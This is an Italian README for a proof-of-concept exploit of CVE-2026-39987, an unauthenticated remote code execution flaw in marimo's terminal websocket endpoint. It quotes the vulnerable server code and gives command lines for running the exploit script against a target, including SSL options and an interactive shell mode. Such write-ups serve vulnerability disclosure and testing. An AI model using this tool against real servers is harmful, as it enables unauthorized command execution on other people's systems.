
CVE-2026-39987 for marimo 0.20.4 PoC
Informazioni:
CVE-2026-39987 è una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione in Marimo (versioni precedenti alla 0.23.0)
Perché funziona:
L'endpoint /terminal/ws è esposto senza alcuna autenticazione.
all'interno: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
Come puoi vedere, non c'è alcun controllo di autenticazione prima che venga creata una shell PTY.
python3 CVE-2026-39987.py example.com -c 'whoami'
se non restituisce nulla e il target usa SSL, usa gli argomenti --max-wait e --any-ssl.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
è disponibile anche la modalità interattiva
python3 CVE-2026-39987.py example.com -i --any-ssl